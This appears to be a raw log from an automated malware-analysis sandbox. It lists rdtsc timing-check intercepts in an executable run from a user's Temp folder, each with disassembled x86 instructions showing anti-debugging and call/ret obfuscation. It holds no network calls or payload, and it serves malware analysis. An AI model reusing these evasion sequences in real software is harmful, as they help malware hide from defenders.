Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E648F4 second address: 0000000000E64948 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FEBE0E5FDB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push ecx 0x00000011 call 00007FEBE0E5FDB8h 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], ecx 0x0000001b add dword ptr [esp+04h], 0000001Ch 0x00000023 inc ecx 0x00000024 push ecx 0x00000025 ret 0x00000026 pop ecx 0x00000027 ret 0x00000028 movzx edi, dx 0x0000002b push 00000000h 0x0000002d movzx esi, bx 0x00000030 mov dword ptr [ebp+1452CE63h], eax 0x00000036 push 00000000h 0x00000038 jnp 00007FEBE0E5FDBCh 0x0000003e xchg eax, ebx 0x0000003f push eax 0x00000040 push edx 0x00000041 push esi 0x00000042 push eax 0x00000043 push edx 0x00000044 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E63022 second address: 0000000000E63027 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E64948 second address: 0000000000E6494D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E6494D second address: 0000000000E64972 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FEBE0B1C460h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f jmp 00007FEBE0B1C45Ah 0x00000014 pop eax 0x00000015 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E64972 second address: 0000000000E6497D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007FEBE0E5FDB6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E6536B second address: 0000000000E65378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E65378 second address: 0000000000E6537E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E6537E second address: 0000000000E653EC instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jng 00007FEBE0B1C456h 0x00000009 pop edx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ecx 0x00000010 call 00007FEBE0B1C458h 0x00000015 pop ecx 0x00000016 mov dword ptr [esp+04h], ecx 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc ecx 0x00000023 push ecx 0x00000024 ret 0x00000025 pop ecx 0x00000026 ret 0x00000027 and esi, dword ptr [ebp+142A22F8h] 0x0000002d push 00000000h 0x0000002f push 00000000h 0x00000031 push edx 0x00000032 call 00007FEBE0B1C458h 0x00000037 pop edx 0x00000038 mov dword ptr [esp+04h], edx 0x0000003c add dword ptr [esp+04h], 0000001Ch 0x00000044 inc edx 0x00000045 push edx 0x00000046 ret 0x00000047 pop edx 0x00000048 ret 0x00000049 mov edi, ebx 0x0000004b push ecx 0x0000004c pop esi 0x0000004d push 00000000h 0x0000004f mov edi, dword ptr [ebp+142A33D5h] 0x00000055 xchg eax, ebx 0x00000056 push eax 0x00000057 push edx 0x00000058 push edx 0x00000059 jnc 00007FEBE0B1C456h 0x0000005f pop edx 0x00000060 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E67B5C second address: 0000000000E67B8B instructions: 0x00000000 rdtsc 0x00000002 jo 00007FEBE0E5FDC1h 0x00000008 jmp 00007FEBE0E5FDBBh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FEBE0E5FDC7h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E67B8B second address: 0000000000E67C08 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEBE0B1C458h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d add ebx, 7A4B9BA3h 0x00000013 push 00000000h 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007FEBE0B1C458h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f push 00000000h 0x00000031 push 00000000h 0x00000033 push ecx 0x00000034 call 00007FEBE0B1C458h 0x00000039 pop ecx 0x0000003a mov dword ptr [esp+04h], ecx 0x0000003e add dword ptr [esp+04h], 0000001Ah 0x00000046 inc ecx 0x00000047 push ecx 0x00000048 ret 0x00000049 pop ecx 0x0000004a ret 0x0000004b jbe 00007FEBE0B1C457h 0x00000051 stc 0x00000052 xchg eax, esi 0x00000053 jp 00007FEBE0B1C45Eh 0x00000059 push eax 0x0000005a jng 00007FEBE0B1C462h 0x00000060 js 00007FEBE0B1C45Ch 0x00000066 push eax 0x00000067 push edx 0x00000068 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E68BDB second address: 0000000000E68BE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop ebx 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E68CB6 second address: 0000000000E68CBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E68CBC second address: 0000000000E68CD4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEBE0E5FDC4h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E68CD4 second address: 0000000000E68CE7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d jl 00007FEBE0B1C456h 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E68CE7 second address: 0000000000E68D00 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E68D00 second address: 0000000000E68D1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEBE0B1C469h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E69CB9 second address: 0000000000E69CBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E6AD2A second address: 0000000000E6AD2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E6AD2E second address: 0000000000E6AD32 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E6ADB2 second address: 0000000000E6ADC3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ebx 0x00000007 push eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FEBE0B1C456h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E6DCEA second address: 0000000000E6DCEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E69E9D second address: 0000000000E69EC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C45Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b push edx 0x0000000c jnc 00007FEBE0B1C456h 0x00000012 pop edx 0x00000013 push eax 0x00000014 push edx 0x00000015 ja 00007FEBE0B1C456h 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E6AEEF second address: 0000000000E6AEF3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E6AEF3 second address: 0000000000E6AEF8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E6AEF8 second address: 0000000000E6AF25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEBE0E5FDC7h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jc 00007FEBE0E5FDB8h 0x00000014 pushad 0x00000015 popad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E69EC1 second address: 0000000000E69F41 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 mov dword ptr [ebp+142A20FBh], eax 0x0000000e push ecx 0x0000000f mov edi, dword ptr [ebp+142A17AAh] 0x00000015 pop edi 0x00000016 push dword ptr fs:[00000000h] 0x0000001d push 00000000h 0x0000001f push ebx 0x00000020 call 00007FEBE0B1C458h 0x00000025 pop ebx 0x00000026 mov dword ptr [esp+04h], ebx 0x0000002a add dword ptr [esp+04h], 00000014h 0x00000032 inc ebx 0x00000033 push ebx 0x00000034 ret 0x00000035 pop ebx 0x00000036 ret 0x00000037 mov ebx, dword ptr [ebp+142A32D0h] 0x0000003d mov dword ptr fs:[00000000h], esp 0x00000044 mov ebx, edx 0x00000046 mov eax, dword ptr [ebp+142A12D1h] 0x0000004c push 00000000h 0x0000004e push esi 0x0000004f call 00007FEBE0B1C458h 0x00000054 pop esi 0x00000055 mov dword ptr [esp+04h], esi 0x00000059 add dword ptr [esp+04h], 00000016h 0x00000061 inc esi 0x00000062 push esi 0x00000063 ret 0x00000064 pop esi 0x00000065 ret 0x00000066 mov dword ptr [ebp+142A20FBh], edi 0x0000006c push FFFFFFFFh 0x0000006e mov dword ptr [ebp+142A1CACh], ecx 0x00000074 push eax 0x00000075 push edx 0x00000076 push eax 0x00000077 push edx 0x00000078 pushad 0x00000079 popad 0x0000007a rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E69F41 second address: 0000000000E69F45 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E703AC second address: 0000000000E7043D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 jmp 00007FEBE0B1C45Fh 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FEBE0B1C458h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 pushad 0x00000026 movsx edx, si 0x00000029 popad 0x0000002a push 00000000h 0x0000002c mov edi, dword ptr [ebp+142A39DEh] 0x00000032 pushad 0x00000033 jmp 00007FEBE0B1C462h 0x00000038 or ebx, dword ptr [ebp+142A394Eh] 0x0000003e popad 0x0000003f push 00000000h 0x00000041 jc 00007FEBE0B1C45Ch 0x00000047 mov ebx, dword ptr [ebp+142A38D6h] 0x0000004d movzx ebx, cx 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 pushad 0x00000054 jmp 00007FEBE0B1C465h 0x00000059 jnc 00007FEBE0B1C456h 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E6BE84 second address: 0000000000E6BF36 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ecx 0x0000000e call 00007FEBE0E5FDB8h 0x00000013 pop ecx 0x00000014 mov dword ptr [esp+04h], ecx 0x00000018 add dword ptr [esp+04h], 0000001Ah 0x00000020 inc ecx 0x00000021 push ecx 0x00000022 ret 0x00000023 pop ecx 0x00000024 ret 0x00000025 or dword ptr [ebp+142A3705h], esi 0x0000002b push dword ptr fs:[00000000h] 0x00000032 mov ebx, 645A8B31h 0x00000037 mov dword ptr fs:[00000000h], esp 0x0000003e mov eax, dword ptr [ebp+142A0BC5h] 0x00000044 push 00000000h 0x00000046 push ecx 0x00000047 call 00007FEBE0E5FDB8h 0x0000004c pop ecx 0x0000004d mov dword ptr [esp+04h], ecx 0x00000051 add dword ptr [esp+04h], 00000018h 0x00000059 inc ecx 0x0000005a push ecx 0x0000005b ret 0x0000005c pop ecx 0x0000005d ret 0x0000005e add ebx, dword ptr [ebp+142A397Eh] 0x00000064 mov dword ptr [ebp+1451AB14h], eax 0x0000006a push FFFFFFFFh 0x0000006c mov dword ptr [ebp+142A17AAh], ecx 0x00000072 nop 0x00000073 jmp 00007FEBE0E5FDC9h 0x00000078 push eax 0x00000079 push eax 0x0000007a pushad 0x0000007b jmp 00007FEBE0E5FDC3h 0x00000080 push eax 0x00000081 push edx 0x00000082 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E714BE second address: 0000000000E714D9 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jc 00007FEBE0B1C456h 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FEBE0B1C45Ch 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E714D9 second address: 0000000000E71538 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FEBE0E5FDC9h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d nop 0x0000000e mov di, C50Dh 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push esi 0x00000017 call 00007FEBE0E5FDB8h 0x0000001c pop esi 0x0000001d mov dword ptr [esp+04h], esi 0x00000021 add dword ptr [esp+04h], 00000018h 0x00000029 inc esi 0x0000002a push esi 0x0000002b ret 0x0000002c pop esi 0x0000002d ret 0x0000002e cmc 0x0000002f push 00000000h 0x00000031 xor ebx, dword ptr [ebp+142A36A3h] 0x00000037 push eax 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FEBE0E5FDBBh 0x0000003f rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E73468 second address: 0000000000E7346C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E7346C second address: 0000000000E73470 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E73470 second address: 0000000000E73476 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E73476 second address: 0000000000E734DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ecx 0x0000000f call 00007FEBE0E5FDB8h 0x00000014 pop ecx 0x00000015 mov dword ptr [esp+04h], ecx 0x00000019 add dword ptr [esp+04h], 00000018h 0x00000021 inc ecx 0x00000022 push ecx 0x00000023 ret 0x00000024 pop ecx 0x00000025 ret 0x00000026 sbb edi, 57C81E46h 0x0000002c push 00000000h 0x0000002e jns 00007FEBE0E5FDC2h 0x00000034 jp 00007FEBE0E5FDBCh 0x0000003a push 00000000h 0x0000003c sub dword ptr [ebp+142A1D7Fh], ebx 0x00000042 push eax 0x00000043 push eax 0x00000044 push edx 0x00000045 jg 00007FEBE0E5FDB8h 0x0000004b pushad 0x0000004c popad 0x0000004d rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E754C6 second address: 0000000000E754CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E754CA second address: 0000000000E754D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E763C3 second address: 0000000000E76483 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pop ecx 0x00000008 push eax 0x00000009 jg 00007FEBE0B1C46Eh 0x0000000f nop 0x00000010 push 00000000h 0x00000012 push esi 0x00000013 call 00007FEBE0B1C458h 0x00000018 pop esi 0x00000019 mov dword ptr [esp+04h], esi 0x0000001d add dword ptr [esp+04h], 0000001Ch 0x00000025 inc esi 0x00000026 push esi 0x00000027 ret 0x00000028 pop esi 0x00000029 ret 0x0000002a push 00000000h 0x0000002c mov ebx, dword ptr [ebp+142A299Eh] 0x00000032 call 00007FEBE0B1C468h 0x00000037 movzx edi, di 0x0000003a pop ebx 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ebx 0x00000040 call 00007FEBE0B1C458h 0x00000045 pop ebx 0x00000046 mov dword ptr [esp+04h], ebx 0x0000004a add dword ptr [esp+04h], 0000001Ah 0x00000052 inc ebx 0x00000053 push ebx 0x00000054 ret 0x00000055 pop ebx 0x00000056 ret 0x00000057 pushad 0x00000058 clc 0x00000059 mov dword ptr [ebp+142A338Dh], edx 0x0000005f popad 0x00000060 jmp 00007FEBE0B1C45Fh 0x00000065 xchg eax, esi 0x00000066 jng 00007FEBE0B1C469h 0x0000006c push eax 0x0000006d push edx 0x0000006e jmp 00007FEBE0B1C45Bh 0x00000073 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E76483 second address: 0000000000E76493 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 je 00007FEBE0E5FDC0h 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E7751B second address: 0000000000E7751F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E7751F second address: 0000000000E77525 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E77525 second address: 0000000000E77551 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FEBE0B1C465h 0x00000008 pushad 0x00000009 popad 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push eax 0x0000000f push edx 0x00000010 jo 00007FEBE0B1C45Ch 0x00000016 jne 00007FEBE0B1C456h 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E77551 second address: 0000000000E775E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0E5FDC5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push 00000000h 0x0000000c push esi 0x0000000d call 00007FEBE0E5FDB8h 0x00000012 pop esi 0x00000013 mov dword ptr [esp+04h], esi 0x00000017 add dword ptr [esp+04h], 00000018h 0x0000001f inc esi 0x00000020 push esi 0x00000021 ret 0x00000022 pop esi 0x00000023 ret 0x00000024 jno 00007FEBE0E5FDBCh 0x0000002a sub dword ptr [ebp+142A2112h], esi 0x00000030 push 00000000h 0x00000032 jmp 00007FEBE0E5FDC3h 0x00000037 push 00000000h 0x00000039 push 00000000h 0x0000003b push edi 0x0000003c call 00007FEBE0E5FDB8h 0x00000041 pop edi 0x00000042 mov dword ptr [esp+04h], edi 0x00000046 add dword ptr [esp+04h], 0000001Bh 0x0000004e inc edi 0x0000004f push edi 0x00000050 ret 0x00000051 pop edi 0x00000052 ret 0x00000053 or edi, dword ptr [ebp+142A3119h] 0x00000059 push eax 0x0000005a pushad 0x0000005b push eax 0x0000005c push edx 0x0000005d ja 00007FEBE0E5FDB6h 0x00000063 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E71792 second address: 0000000000E71798 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E7258C second address: 0000000000E72592 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E72592 second address: 0000000000E725B9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEBE0B1C468h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007FEBE0B1C456h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E725B9 second address: 0000000000E725BF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E725BF second address: 0000000000E725C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E725C5 second address: 0000000000E725C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E7447A second address: 0000000000E74481 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E74481 second address: 0000000000E74504 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FEBE0E5FDBCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov dword ptr [esp], eax 0x0000000d xor dword ptr [ebp+142A2879h], ecx 0x00000013 push dword ptr fs:[00000000h] 0x0000001a jmp 00007FEBE0E5FDBCh 0x0000001f mov dword ptr fs:[00000000h], esp 0x00000026 stc 0x00000027 mov eax, dword ptr [ebp+142A0715h] 0x0000002d push 00000000h 0x0000002f push ecx 0x00000030 call 00007FEBE0E5FDB8h 0x00000035 pop ecx 0x00000036 mov dword ptr [esp+04h], ecx 0x0000003a add dword ptr [esp+04h], 0000001Ah 0x00000042 inc ecx 0x00000043 push ecx 0x00000044 ret 0x00000045 pop ecx 0x00000046 ret 0x00000047 call 00007FEBE0E5FDBBh 0x0000004c mov edi, dword ptr [ebp+142A3986h] 0x00000052 pop edi 0x00000053 mov edi, dword ptr [ebp+142A3B0Eh] 0x00000059 push FFFFFFFFh 0x0000005b xor dword ptr [ebp+14534F23h], eax 0x00000061 nop 0x00000062 push eax 0x00000063 push edx 0x00000064 push eax 0x00000065 push edx 0x00000066 pushad 0x00000067 popad 0x00000068 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E74504 second address: 0000000000E7450A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E7450A second address: 0000000000E74534 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jo 00007FEBE0E5FDB6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 jmp 00007FEBE0E5FDC6h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E74534 second address: 0000000000E74539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E74539 second address: 0000000000E7453E instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E77731 second address: 0000000000E77735 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E77735 second address: 0000000000E77743 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEBE0E5FDB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\1922353491.exe	RDTSC instruction interceptor: First address: 0000000000E77743 second address: 0000000000E77747 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
